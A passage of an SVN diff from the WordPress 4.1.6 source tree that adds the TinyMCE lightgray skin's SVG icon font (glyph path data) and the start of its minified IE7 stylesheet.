+<glyph unicode="&#xe02e;" d="M192 416c-61.856 0-112-50.144-112-112s50.144-112 112-112v-160h64v320h32v-320h64v320h64v64h-224z" />
+<glyph unicode="&#xe02f;" d="M224 416c-61.856 0-112-50.144-112-112s50.144-112 112-112v-160h64v320h32v-320h64v320h64v64h-224zM32 32l112 96-112 96z" />
+<glyph unicode="&#xe030;" d="M160 416c-61.856 0-112-50.144-112-112s50.144-112 112-112v-160h64v320h32v-320h64v320h64v64h-224zM480 224l-112-96 112-96z" />
+<glyph unicode="&#xe031;" d="M416 320h-96v32l-96 96h-192v-352h192v-96h288v224l-96 96zM416 274.745l50.745-50.745h-50.745v50.745zM224 402.745l50.745-50.745h-50.745v50.745zM64 416h128v-96h96v-192h-224v288zM480 32h-224v64h64v192h64v-96h96v-160z" />
+<glyph unicode="&#xe032;" d="M384 352h32v-32h-32zM320 288h32v-32h-32zM320 224h32v-32h-32zM320 160h32v-32h-32zM256 224h32v-32h-32zM256 160h32v-32h-32zM192 160h32v-32h-32zM384 288h32v-32h-32zM384 224h32v-32h-32zM384 160h32v-32h-32zM384 96h32v-32h-32zM320 96h32v-32h-32zM256 96h32v-32h-32zM192 96h32v-32h-32zM128 96h32v-32h-32z" />
+<glyph unicode="&#xe034;" d="M464 416h-208l-16 32h-176l-32-64h448zM420.17 128h43.83l16 224h-448l32-320h178.040c-52.441 18.888-90.040 69.133-90.040 128 0 74.991 61.009 136 136 136 74.99 0 136-61.009 136-136 0-10.839-1.311-21.575-3.83-32zM437.498 55.125l-67.248 55.346c8.727 14.461 13.75 31.407 13.75 49.529 0 53.020-42.98 96-96 96s-96-42.98-96-96 42.98-96 96-96c18.122 0 35.069 5.023 49.529 13.75l55.346-67.248c11.481-13.339 31.059-14.070 43.503-1.626l2.746 2.746c12.444 12.444 11.713 32.022-1.626 43.503zM288 98c-34.242 0-62 27.758-62 62s27.758 62 62 62 62-27.758 62-62-27.758-62-62-62z" />
+<glyph unicode="&#xe035;" d="M352 288v80c0 8.8-7.2 16-16 16h-80v32c0 17.6-14.4 32-32 32h-64c-17.602 0-32-14.4-32-32v-32h-80c-8.801 0-16-7.2-16-16v-256c0-8.8 7.199-16 16-16h112v-96h288v288h-96zM160 415.943c0.017 0.019 0.036 0.039 0.057 0.057h63.884c0.021-0.018 0.041-0.038 0.059-0.057v-31.943h-64v31.943zM96 320v32h192v-32h-192zM416 32h-224v224h224v-224zM224 224v-64h16l16 32h32v-96h-24v-32h80v32h-24v96h32l16-32h16v64z" />
+</font></defs></svg>
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.svg
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.svg	(revision 33402)
@@ -0,0 +1,63 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata>Generated by IcoMoon</metadata>
+<defs>
+<font id="tinymce" horiz-adv-x="512">
+<font-face units-per-em="512" ascent="480" descent="-32" />
+<missing-glyph horiz-adv-x="512" />
+<glyph unicode="&#x20;" d="" horiz-adv-x="256" />
+<glyph unicode="&#xe000;" d="M448 480h-448v-512h512v448l-64 64zM256 416h64v-128h-64v128zM448 32h-384v384h32v-160h288v160h37.489l26.511-26.509v-357.491z" />
+<glyph unicode="&#xe001;" d="M451.716 380.285l-71.432 71.431c-15.556 15.556-46.284 28.284-68.284 28.284h-240c-22 0-40-18-40-40v-432c0-22 18-40 40-40h368c22 0 40 18 40 40v304c0 22-12.728 52.729-28.284 68.285zM429.089 357.657c1.565-1.565 3.125-3.487 4.64-5.657h-81.729v81.728c2.17-1.515 4.092-3.075 5.657-4.64l71.432-71.431zM448 8c0-4.336-3.664-8-8-8h-368c-4.336 0-8 3.664-8 8v432c0 4.336 3.664 8 8 8h240c2.416 0 5.127-0.305 8-0.852v-127.148h127.148c0.547-2.873 0.852-5.583 0.852-8v-304z" />
+<glyph unicode="&#xe002;" d="M512 183.771v80.458l-79.572 7.957c-4.093 15.021-10.044 29.274-17.605 42.49l52.298 63.919-56.526 56.525-63.918-52.298c-13.217 7.562-27.471 13.513-42.491 17.604l-7.957 79.574h-80.458l-7.957-79.573c-15.021-4.093-29.274-10.043-42.49-17.604l-63.919 52.297-56.525-56.525 52.298-63.918c-7.562-13.216-13.513-27.47-17.605-42.49l-79.573-7.958v-80.458l79.573-7.957c4.093-15.021 10.043-29.274 17.605-42.491l-52.298-63.918 56.524-56.524 63.919 52.298c13.216-7.562 27.47-13.514 42.49-17.605l7.958-79.574h80.458l7.957 79.572c15.021 4.093 29.274 10.044 42.491 17.605l63.918-52.298 56.524 56.524-52.298 63.918c7.562 13.217 13.514 27.471 17.605 42.49l79.574 7.96zM352 192l-64-64h-64l-64 64v64l64 64h64l64-64v-64z" />
+<glyph unicode="&#xe003;" d="M0 448h512v-64h-512zM0 352h320v-64h-320zM0 160h320v-64h-320zM0 256h512v-64h-512zM0 64h512v-64h-512z" />
+<glyph unicode="&#xe004;" d="M0 448h512v-64h-512zM96 352h320v-64h-320zM96 160h320v-64h-320zM0 256h512v-64h-512zM0 64h512v-64h-512z" />
+<glyph unicode="&#xe005;" d="M0 448h512v-64h-512zM192 352h320v-64h-320zM192 160h320v-64h-320zM0 256h512v-64h-512zM0 64h512v-64h-512z" />
+<glyph unicode="&#xe006;" d="M0 448h512v-64h-512zM0 352h512v-64h-512zM0 256h512v-64h-512zM0 160h512v-64h-512zM0 64h512v-64h-512z" />
+<glyph unicode="&#xe007;" d="M445.387 125.423c-22.827 22.778-51.864 34.536-78.973 34.536h-14.556l-31.952 32.004 127.81 128.019c31.952 32.005 31.952 96.014 0 128.019l-191.715-192.028-191.716 192.027c-31.952-32.004-31.952-96.014 0-128.019l127.811-128.017-31.953-32.004h-14.557c-27.11 0-56.146-11.759-78.974-34.538-40.811-40.721-46.325-101.242-12.315-135.175 14.985-14.951 35.144-22.247 56.498-22.247 27.108 0 56.145 11.757 78.973 34.536 26.792 26.732 38.371 62 33.542 92.674l32.692 32.744 32.688-32.744c-4.828-30.674 6.753-65.941 33.542-92.674 22.831-22.779 51.866-34.536 78.974-34.536 21.354 0 41.512 7.296 56.497 22.248 34.010 33.933 28.494 94.454-12.316 135.175zM176.512 57.231c-3.849-8.941-9.505-17.173-16.813-24.463-7.318-7.302-15.586-12.959-24.574-16.812-8.066-3.458-16.48-5.284-24.331-5.284-7.573 0-18.306 1.701-26.431 9.806-8.068 8.052-9.76 18.659-9.76 26.144 0 7.771 1.821 16.105 5.263 24.106 3.85 8.942 9.507 17.173 16.813 24.463 7.317 7.303 15.586 12.957 24.575 16.812 8.067 3.457 16.48 5.284 24.332 5.284 7.573 0 18.306-1.7 26.429-9.807 8.067-8.049 9.761-18.658 9.761-26.142 0.001-7.771-1.819-16.108-5.264-24.107zM256.002 146.702c-24.957 0-45.188 20.266-45.188 45.263 0 24.996 20.231 45.26 45.188 45.26s45.186-20.264 45.186-45.26c0-24.999-20.23-45.263-45.186-45.263zM427.636 20.479c-8.124-8.104-18.856-9.806-26.43-9.806-7.852 0-16.265 1.826-24.333 5.284-8.986 3.853-17.254 9.51-24.571 16.812-7.307 7.29-12.963 15.521-16.813 24.463-3.443 7.999-5.263 16.336-5.263 24.106 0 7.483 1.692 18.094 9.76 26.143 8.123 8.104 18.856 9.807 26.43 9.807 7.85 0 16.265-1.827 24.33-5.284 8.989-3.854 17.258-9.509 24.575-16.812 7.305-7.29 12.962-15.521 16.813-24.463 3.442-7.999 5.263-16.335 5.263-24.106-0.001-7.485-1.695-18.093-9.761-26.144z" />
+<glyph unicode="&#xe008;" d="M416 320v80c0 8.8-7.2 16-16 16h-112v32c0 17.6-14.4 32-32 32h-64c-17.602 0-32-14.4-32-32v-32h-112c-8.801 0-16-7.2-16-16v-320c0-8.8 7.199-16 16-16h144v-96h224l96 96v256h-96zM192 447.943c0.017 0.019 0.036 0.039 0.057 0.057h63.884c0.021-0.018 0.041-0.038 0.059-0.057v-31.943h-64v31.943zM96 352v32h256v-32h-256zM416 13.255v50.745h50.745l-50.745-50.745zM480 96h-96v-96h-160v288h256v-192z" />
+<glyph unicode="&#xe009;" d="M32 480h192v-32h-192zM288 480h192v-32h-192zM476 320h-28v128h-128v-128h-128v128h-128v-128h-28c-19.8 0-36-16.2-36-36v-280c0-19.8 16.2-36 36-36h152c19.8 0 36 16.2 36 36v188h64v-188c0-19.8 16.2-36 36-36h152c19.8 0 36 16.2 36 36v280c0 19.8-16.2 36-36 36zM174 0h-124c-9.9 0-18 7.2-18 16s8.1 16 18 16h124c9.9 0 18-7.2 18-16s-8.1-16-18-16zM272 224h-32c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16zM462 0h-124c-9.9 0-18 7.2-18 16s8.1 16 18 16h124c9.9 0 18-7.2 18-16s-8.1-16-18-16z" />
+<glyph unicode="&#xe00a;" d="M192 448h320v-64h-320v64zM192 256h320v-64h-320v64zM192 64h320v-64h-320v64zM0 416c0 35.346 28.654 64 64 64s64-28.654 64-64c0-35.346-28.654-64-64-64-35.346 0-64 28.654-64 64zM0 224c0 35.346 28.654 64 64 64s64-28.654 64-64c0-35.346-28.654-64-64-64-35.346 0-64 28.654-64 64zM0 32c0 35.346 28.654 64 64 64s64-28.654 64-64c0-35.346-28.654-64-64-64-35.346 0-64 28.654-64 64z" />
+<glyph unicode="&#xe00b;" d="M192 64h320v-64h-320zM192 256h320v-64h-320zM192 448h320v-64h-320zM96 480v-128h-32v96h-32v32zM64 217v-25h64v-32h-96v73l64 30v25h-64v32h96v-73zM128 128v-160h-96v32h64v32h-64v32h64v32h-64v32z" />
+<glyph unicode="&#xe00c;" d="M0 448h512v-64h-512zM192 352h320v-64h-320zM192 256h320v-64h-320zM192 160h320v-64h-320zM0 64h512v-64h-512zM0 128v192l128-96z" />
+<glyph unicode="&#xe00d;" d="M0 448h512v-64h-512zM192 352h320v-64h-320zM192 256h320v-64h-320zM192 160h320v-64h-320zM0 64h512v-64h-512zM128 320v-192l-128 96z" />
+<glyph unicode="&#xe00e;" d="M112.5 256c61.856 0 112-50.145 112-112 0-61.856-50.144-112-112-112-61.856 0-112 50.144-112 112l-0.5 16c0 123.712 100.288 224 224 224v-64c-42.737 0-82.917-16.643-113.137-46.863-5.817-5.818-11.126-12.008-15.915-18.51 5.719 0.9 11.58 1.373 17.552 1.373zM400.5 256c61.855 0 112-50.145 112-112 0-61.856-50.145-112-112-112-61.855 0-112 50.144-112 112l-0.5 16c0 123.712 100.288 224 224 224v-64c-42.737 0-82.917-16.643-113.137-46.863-5.818-5.818-11.127-12.008-15.916-18.51 5.72 0.9 11.58 1.373 17.553 1.373z" />
+<glyph unicode="&#xe00f;" d="M380.931-32c56.863 103.016 66.444 260.153-156.931 254.912v-126.912l-192 192 192 192v-124.186c267.481 6.971 297.285-236.107 156.931-387.814z" />
+<glyph unicode="&#xe010;" d="M288 355.814v124.186l192-192-192-192v126.912c-223.375 5.241-213.794-151.896-156.93-254.912-140.356 151.707-110.55 394.785 156.93 387.814z" />
+<glyph unicode="&#xe011;" d="M160 128c8.8-8.8 23.637-8.363 32.971 0.971l158.059 158.058c9.334 9.334 9.77 24.171 0.97 32.971s-23.637 8.363-32.971-0.971l-158.058-158.058c-9.334-9.334-9.771-24.171-0.971-32.971zM238.444 142.444c2.28-4.525 3.495-9.58 3.495-14.848 0-8.808-3.372-17.030-9.496-23.154l-81.691-81.691c-6.124-6.124-14.347-9.496-23.154-9.496s-17.030 3.372-23.154 9.496l-49.691 49.691c-6.124 6.124-9.496 14.347-9.496 23.154s3.372 17.030 9.496 23.154l81.691 81.691c6.124 6.124 14.347 9.497 23.154 9.497 5.268 0 10.322-1.215 14.848-3.495l32.669 32.669c-13.935 10.705-30.72 16.080-47.517 16.080-19.993 0-39.986-7.583-55.154-22.751l-81.691-81.691c-30.335-30.335-30.335-79.974 0-110.309l49.691-49.691c15.167-15.166 35.16-22.75 55.153-22.75 19.994 0 39.987 7.584 55.154 22.751l81.691 81.691c27.91 27.91 30.119 72.149 6.672 102.672l-32.67-32.67zM489.249 407.558l-49.691 49.691c-15.167 15.168-35.16 22.751-55.154 22.751-19.993 0-39.986-7.583-55.154-22.751l-81.691-81.691c-27.91-27.91-30.119-72.149-6.671-102.671l32.669 32.67c-2.279 4.525-3.494 9.58-3.494 14.847 0 8.808 3.372 17.030 9.496 23.154l81.691 81.691c6.124 6.124 14.347 9.497 23.154 9.497s17.030-3.373 23.154-9.497l49.691-49.691c6.124-6.124 9.496-14.347 9.496-23.154s-3.372-17.030-9.496-23.154l-81.691-81.691c-6.124-6.124-14.347-9.496-23.154-9.496-5.268 0-10.322 1.215-14.848 3.495l-32.669-32.669c13.936-10.705 30.72-16.080 47.517-16.080 19.994 0 39.987 7.584 55.154 22.751l81.691 81.691c30.335 30.333 30.335 79.972 0 110.307z" />
+<glyph unicode="&#xe012;" d="M238.444 142.443c2.28-4.524 3.495-9.579 3.495-14.848 0-8.808-3.372-17.029-9.496-23.154l-81.69-81.69c-6.124-6.124-14.348-9.496-23.154-9.496s-17.030 3.372-23.154 9.496l-49.69 49.69c-6.124 6.125-9.496 14.348-9.496 23.154s3.372 17.030 9.496 23.154l81.69 81.691c6.124 6.123 14.348 9.496 23.154 9.496 5.269 0 10.322-1.215 14.848-3.494l32.669 32.668c-13.935 10.705-30.72 16.080-47.517 16.080-19.993 0-39.986-7.583-55.154-22.751l-81.69-81.691c-30.335-30.335-30.335-79.975 0-110.309l49.69-49.691c15.167-15.166 35.16-22.75 55.153-22.75 19.994 0 39.987 7.584 55.154 22.751l81.69 81.69c27.91 27.91 30.119 72.149 6.672 102.673l-32.67-32.669zM489.248 407.558l-49.69 49.691c-15.167 15.168-35.16 22.751-55.154 22.751-19.993 0-39.985-7.583-55.153-22.751l-81.691-81.691c-27.91-27.91-30.119-72.149-6.671-102.671l32.669 32.67c-2.279 4.525-3.494 9.58-3.494 14.847 0 8.808 3.372 17.030 9.496 23.154l81.691 81.691c6.123 6.124 14.347 9.497 23.153 9.497 8.808 0 17.030-3.373 23.154-9.497l49.69-49.691c6.124-6.124 9.496-14.347 9.496-23.154s-3.372-17.030-9.496-23.154l-81.69-81.691c-6.124-6.124-14.347-9.496-23.154-9.496-5.268 0-10.322 1.215-14.848 3.495l-32.669-32.669c13.936-10.705 30.72-16.080 47.517-16.080 19.994 0 39.987 7.584 55.154 22.752l81.69 81.69c30.336 30.333 30.336 79.972 0 110.307zM116.684 340.688l-95.997 95.997 22.628 22.628 95.997-95.997zM192 480h32v-96h-32zM0 288h96v-32h-96zM395.316 107.312l95.998-95.998-22.628-22.628-95.998 95.998zM288 64h32v-96h-32zM416 192h96v-32h-96z" />
+<glyph unicode="&#xe013;" d="M96 480v-512l160 160 160-160v512h-320zM384 45.255l-128 128-128-128v402.745h256v-402.745z" />
+<glyph unicode="&#xe014;" d="M0 416v-416h512v416h-512zM480 32h-448v352h448v-352zM352 304c0 26.51 21.49 48 48 48s48-21.49 48-48c0-26.51-21.49-48-48-48-26.51 0-48 21.49-48 48zM448 64h-384l96 256 128-160 64 48z" />
+<glyph unicode="&#xe015;" d="M0 416v-384h512v384h-512zM96 64h-64v64h64v-64zM96 192h-64v64h64v-64zM96 320h-64v64h64v-64zM384 64h-256v320h256v-320zM480 64h-64v64h64v-64zM480 192h-64v64h64v-64zM480 320h-64v64h64v-64zM192 320v-192l128 96z" />
+<glyph unicode="&#xe016;" d="M224 128h64v-64h-64zM352 352c17.673 0 32-14.327 32-32v-96l-96-64h-64v32l96 64v32h-160v64h192zM256 432c-55.559 0-107.792-21.636-147.078-60.922s-60.922-91.519-60.922-147.078c0-55.559 21.636-107.792 60.922-147.078 39.286-39.286 91.519-60.922 147.078-60.922 55.559 0 107.792 21.636 147.078 60.922 39.286 39.286 60.922 91.519 60.922 147.078 0 55.559-21.636 107.792-60.922 147.078-39.286 39.286-91.519 60.922-147.078 60.922zM256 480v0c141.385 0 256-114.615 256-256s-114.615-256-256-256c-141.385 0-256 114.615-256 256 0 141.385 114.615 256 256 256z" />
+<glyph unicode="&#xe017;" d="M160 352l-128-128 128-128h64l-128 128 128 128zM352 352h-64l128-128-128-128h64l128 128z" />
+<glyph unicode="&#xe018;" d="M256 384c-106.038 0-192-85.961-192-192s85.961-192 192-192c106.037 0 192 85.961 192 192s-85.963 192-192 192zM357.822 90.177c-27.196-27.198-63.358-42.177-101.822-42.177s-74.625 14.979-101.823 42.177c-27.198 27.197-42.177 63.359-42.177 101.823s14.979 74.625 42.177 101.823c27.198 27.198 63.359 42.177 101.823 42.177s74.626-14.979 101.821-42.177c27.201-27.198 42.179-63.359 42.179-101.823s-14.979-74.626-42.178-101.823zM162.965 378.069l-21.47 42.939c-49.437-24.768-89.735-65.066-114.503-114.504l42.938-21.47c20.124 40.168 52.866 72.911 93.035 93.035zM442.067 285.035l42.939 21.469c-24.766 49.438-65.063 89.736-114.502 114.504l-21.472-42.939c40.169-20.124 72.912-52.866 93.035-93.034zM256 288h-32v-96c0-5.055 2.35-9.555 6.011-12.486l-0.006-0.008 80-64 19.988 24.988-73.993 59.195v88.311z" />
+<glyph unicode="&#xe019;" d="M256 320c-104.684 0-197.622-50.278-256-128 58.378-77.723 151.316-128 256-128 104.684 0 197.622 50.277 256 128-58.378 77.722-151.316 128-256 128zM224 256c17.673 0 32-14.327 32-32s-14.327-32-32-32-32 14.327-32 32 14.327 32 32 32zM386.808 127.352c-19.824-10.129-40.826-17.931-62.423-23.188-22.244-5.418-45.251-8.164-68.385-8.164-23.133 0-46.141 2.746-68.384 8.162-21.597 5.259-42.599 13.061-62.423 23.188-31.51 16.101-60.111 38.205-83.82 64.649 23.709 26.444 52.31 48.55 83.82 64.649 16.168 8.261 33.121 14.973 50.541 20.020-9.944-15.121-15.734-33.217-15.734-52.668 0-53.020 42.981-96 96-96 53.019 0 96 42.98 96 96 0 19.451-5.791 37.547-15.733 52.67 17.419-5.048 34.372-11.76 50.541-20.021 31.511-16.099 60.109-38.204 83.819-64.649-23.71-26.443-52.309-48.55-83.819-64.648zM430.459 358.139c-54.36 27.777-113.056 41.861-174.459 41.861-61.403 0-120.099-14.084-174.459-41.861-29.386-15.016-56.866-33.952-81.541-56.038v-54.603c27.669 29.283 60.347 53.877 96.097 72.145 49.81 25.452 103.609 38.357 159.903 38.357s110.093-12.905 159.902-38.358c35.751-18.268 68.429-42.862 96.098-72.145v54.603c-24.675 22.087-52.154 41.023-81.541 56.039z" />
+<glyph unicode="&#xe01a;" d="M161.009 64l28.8 96h132.382l28.8-96h56.816l-95.998 320h-111.618l-96-320h56.818zM237.809 320h36.382l28.8-96h-93.982l28.8 96z" />
+<glyph unicode="&#xe01b;" d="M0 448v-448h512v448h-512zM192 160v96h128v-96h-128zM320 128v-96h-128v96h128zM320 384v-96h-128v96h128zM160 384v-96h-128v96h128zM32 256h128v-96h-128v96zM352 256h128v-96h-128v96zM352 288v96h128v-96h-128zM32 128h128v-96h-128v96zM352 32v96h128v-96h-128z" />
+<glyph unicode="&#xe01c;" d="M0 256h512v-64h-512z" />
+<glyph unicode="&#xe01d;" d="M0 32h288v-64h-288zM96 480h352v-64h-352zM138.694 64l102.344 392.082 61.925-16.164-98.125-375.918zM464.887-32l-64.887 64.887-64.887-64.887-31.113 31.113 64.887 64.887-64.887 64.887 31.113 31.113 64.887-64.887 64.887 64.887 31.113-31.113-64.887-64.887 64.887-64.887z" />
+<glyph unicode="&#xe01e;" d="M384 25v-25h64v-32h-96v73l64 30v25h-64v32h96v-73zM338 352h-68l-94-94-94 94h-68l128-128-128-128h68l94 94 94-94h68l-128 128z" />
+<glyph unicode="&#xe01f;" d="M384 377v-25h64v-32h-96v73l64 30v25h-64v32h96v-73zM338 352h-68l-94-94-94 94h-68l128-128-128-128h68l94 94 94-94h68l-128 128z" />
+<glyph unicode="&#xe020;" d="M352 32h128l32 64v-128h-192v107.107c65.556 28.242 112 98.581 112 180.893 0 107.216-78.799 191.133-176 191.133-97.203 0-176-83.916-176-191.133 0-82.312 46.443-152.651 112-180.893v-107.107h-192v128l32-64h128v16.295c-93.815 33.23-160 113.701-160 207.705 0 123.712 114.615 224 256 224 141.385 0 256-100.288 256-224 0-94.004-66.185-174.475-160-207.705v-16.295z" />
+<glyph unicode="&#xe021;" d="M256 480c-141.385 0-256-114.614-256-256 0-141.385 114.614-256 256-256 141.385 0 256 114.615 256 256 0 141.386-114.615 256-256 256zM256 8c-119.293 0-216 96.706-216 216 0 119.293 96.707 216 216 216 119.295 0 216-96.707 216-216 0-119.294-96.705-216-216-216zM192 320c0-17.673-14.327-32-32-32s-32 14.327-32 32 14.327 32 32 32 32-14.327 32-32zM384 320c0-17.673-14.326-32-32-32s-32 14.327-32 32 14.326 32 32 32 32-14.327 32-32zM256 154c70.537 0 131.344 28.766 159.231 61.596-10.436-85.61-78.144-151.596-159.231-151.596-81.059 0-148.749 66.013-159.222 151.584 27.893-32.823 88.693-61.584 159.222-61.584z" />
+<glyph unicode="&#xe022;" d="M128 448h256v-64h-256zM480 352h-448c-17.6 0-32-14.4-32-32v-160c0-17.6 14.398-32 32-32h96v-128h256v128h96c17.6 0 32 14.4 32 32v160c0 17.6-14.4 32-32 32zM352 32h-192v160h192v-160zM487.2 304c0-12.813-10.387-23.2-23.199-23.2-12.813 0-23.201 10.387-23.201 23.2s10.388 23.2 23.201 23.2c12.813 0 23.199-10.387 23.199-23.2z" />
+<glyph unicode="&#xe023;" d="M512 480v-192l-69.13 69.13-106-106-53.74 53.74 106 106-69.13 69.13zM122.87 410.87l106-106-53.74-53.74-106 106-69.13-69.13v192h192zM442.87 90.87l69.13 69.13v-192h-192l69.13 69.13-106 106 53.74 53.74zM228.87 143.13l-106-106 69.13-69.13h-192v192l69.13-69.13 106 106z" />
+<glyph unicode="&#xe024;" d="M64 352h64v-96h32v192c0 17.6-14.4 32-32 32h-64c-17.6 0-32-14.4-32-32v-192h32v96zM64 448h64v-64h-64v64zM480 448v32h-96c-17.601 0-32-14.4-32-32v-160c0-17.6 14.399-32 32-32h96v32h-96v160h96zM320 400v48c0 17.6-14.4 32-32 32h-96v-224h96c17.6 0 32 14.4 32 32v48c0 17.6-4.4 32-22 32 17.6 0 22 14.4 22 32zM288 288h-64v64h64v-64zM288 384h-64v64h64v-64zM416 192l-208-224-112 144 41 35 71-74 176 151z" />
+<glyph unicode="&#xe025;" d="M224 192h-96v64h96v96h64v-96h96v-64h-96v-96h-64zM512 160v-192h-512v192h64v-128h384v128z" />
+<glyph unicode="&#xe026;" d="M192 384h64v-32h-64zM288 384h64v-32h-64zM448 384v-128h-96v32h64v64h-32v32zM160 288h64v-32h-64zM256 288h64v-32h-64zM96 352v-64h32v-32h-64v128h96v-32zM192 192h64v-32h-64zM288 192h64v-32h-64zM448 192v-128h-96v32h64v64h-32v32zM160 96h64v-32h-64zM256 96h64v-32h-64zM96 160v-64h32v-32h-64v128h96v-32zM480 448h-448v-448h448v448zM512 480v0-512h-512v512h512z" />
+<glyph unicode="&#xe027;" d="M0 224h64v-32h-64zM96 224h96v-32h-96zM224 224h64v-32h-64zM320 224h96v-32h-96zM448 224h64v-32h-64zM440 480l8-224h-384l8 224h16l8-192h320l8 192zM72-32l-8 192h384l-8-192h-16l-8 160h-320l-8-160z" />
+<glyph unicode="&#xe028;" d="M288 448c123.712 0 224-100.288 224-224s-100.288-224-224-224v48c47.012 0 91.209 18.307 124.451 51.549 33.242 33.242 51.549 77.439 51.549 124.451 0 47.011-18.307 91.209-51.549 124.451-33.242 33.242-77.439 51.549-124.451 51.549-47.011 0-91.209-18.307-124.451-51.549-25.57-25.569-42.291-57.623-48.653-92.451h93.104l-112-128-112 128h82.285c15.53 108.551 108.869 192 221.715 192zM384 256v-64h-128v160h64v-96z" />
+<glyph unicode="&#xe02a;" d="M353.94 237.674c18.749 22.271 30.060 51.004 30.060 82.326 0 70.58-57.421 128-128 128h-160v-448h192c70.579 0 128 57.421 128 128 0 46.478-24.899 87.248-62.060 109.674zM192 384h50.75c27.984 0 50.75-28.71 50.75-64s-22.766-64-50.75-64h-50.75v128zM271.5 64h-79.5v128h79.5c29.225 0 53-28.71 53-64s-23.775-64-53-64z" />
+<glyph unicode="&#xe02b;" d="M448 448v-32h-64l-160-384h64v-32h-224v32h64l160 384h-64v32z" />
+<glyph unicode="&#xe02c;" d="M352 448h64v-208c0-79.529-71.634-144-160-144-88.365 0-160 64.471-160 144v208h64v-208c0-20.083 9.119-39.352 25.677-54.253 18.448-16.602 43.423-25.747 70.323-25.747 26.9 0 51.875 9.145 70.323 25.747 16.558 14.901 25.677 34.17 25.677 54.253v208zM96 64h320v-64h-320z" />
+<glyph unicode="&#xe02d;" d="M365.71 221.482c31.96-23.969 50.29-58.043 50.29-93.482s-18.33-69.513-50.29-93.482c-29.679-22.259-68.642-34.518-109.71-34.518-41.069 0-80.031 12.259-109.71 34.518-31.96 23.969-50.29 58.043-50.29 93.482h64c0-34.691 43.963-64 96-64s96 29.309 96 64c0 34.691-43.963 64-96 64-41.069 0-80.031 12.259-109.71 34.518-31.96 23.97-50.29 58.043-50.29 93.482 0 35.439 18.33 69.512 50.29 93.482 29.679 22.259 68.641 34.518 109.71 34.518 41.068 0 80.031-12.259 109.71-34.518 31.96-23.97 50.29-58.043 50.29-93.482h-64c0 34.691-43.963 64-96 64-52.037 0-96-29.309-96-64 0-34.691 43.963-64 96-64 41.068 0 80.031-12.259 109.71-34.518zM0 224h512v-32h-512z" />
+<glyph unicode="&#xe02e;" d="M192 448h256v-64h-64v-384h-64v384h-64v-384h-64v224c-61.856 0-112 50.144-112 112s50.144 112 112 112z" />
+<glyph unicode="&#xe02f;" d="M224 448h256v-64h-64v-384h-64v384h-64v-384h-64v224c-61.856 0-112 50.144-112 112s50.144 112 112 112zM32 256l128-112-128-112z" />
+<glyph unicode="&#xe030;" d="M128 448h256v-64h-64v-384h-64v384h-64v-384h-64v224c-61.856 0-112 50.144-112 112s50.144 112 112 112zM480 32l-128 112 128 112z" />
+<glyph unicode="&#xe031;" d="M416 352h-96v32l-96 96h-224v-384h192v-128h320v288l-96 96zM416 306.745l50.745-50.745h-50.745v50.745zM224 434.745l50.745-50.745h-50.745v50.745zM32 448h160v-96h96v-224h-256v320zM480 0h-256v96h96v224h64v-96h96v-224z" />
+<glyph unicode="&#xe032;" d="M384 352h32v-32h-32zM320 288h32v-32h-32zM320 224h32v-32h-32zM320 160h32v-32h-32zM256 224h32v-32h-32zM256 160h32v-32h-32zM192 160h32v-32h-32zM384 288h32v-32h-32zM384 224h32v-32h-32zM384 160h32v-32h-32zM384 96h32v-32h-32zM320 96h32v-32h-32zM256 96h32v-32h-32zM192 96h32v-32h-32zM128 96h32v-32h-32z" />
+<glyph unicode="&#xe033;" d="M64 208l144-144 240 240-64 64-176-176-80 80z" />
+<glyph unicode="&#xe034;" d="M464 416h-208l-16 32h-176l-32-64h448zM452.17 128h37.43l22.4 224h-512l32-320h242.040c-52.441 18.888-90.040 69.133-90.040 128 0 74.991 61.009 136 136 136 74.99 0 136-61.009 136-136 0-10.839-1.311-21.575-3.83-32zM501.498 23.125l-99.248 87.346c8.727 14.46 13.75 31.407 13.75 49.529 0 53.020-42.98 96-96 96s-96-42.98-96-96 42.98-96 96-96c18.122 0 35.069 5.023 49.529 13.75l87.346-99.248c11.481-13.339 31.059-14.070 43.503-1.626l2.746 2.746c12.444 12.444 11.713 32.022-1.626 43.503zM320 98c-34.242 0-62 27.758-62 62s27.758 62 62 62 62-27.758 62-62-27.758-62-62-62z" />
+<glyph unicode="&#xe035;" d="M256 224v-64h16l16 32h32v-128h-24v-32h112v32h-24v128h32l16-32h16v64zM416 320v80c0 8.8-7.2 16-16 16h-112v32c0 17.6-14.4 32-32 32h-64c-17.602 0-32-14.4-32-32v-32h-112c-8.801 0-16-7.2-16-16v-320c0-8.8 7.199-16 16-16h144v-96h320v352h-96zM192 447.943c0.017 0.019 0.036 0.039 0.057 0.057h63.884c0.021-0.018 0.041-0.038 0.059-0.057v-31.943h-64v31.943zM96 352v32h256v-32h-256zM480 0h-256v288h256v-288z" />
+</font></defs></svg>
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/skin.ie7.min.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/skin.ie7.min.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/skin.ie7.min.css	(revision 33402)
@@ -0,0 +1,1 @@
+.mce-container,.mce-container *,.mce-widget,.mce-widget *,.mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:#333;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;-webkit-tap-highlight-color:transparent;line-height:normal;font-weight:normal;text-align:left;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-widget button{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.mce-container *[unselectable]{-moz-user-select:none;-webkit-user-select:none;-o-user-select:none;user-select:none}.mce-fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.mce-fade.mce-in{opacity:1}.mce-tinymce{visibility:inherit 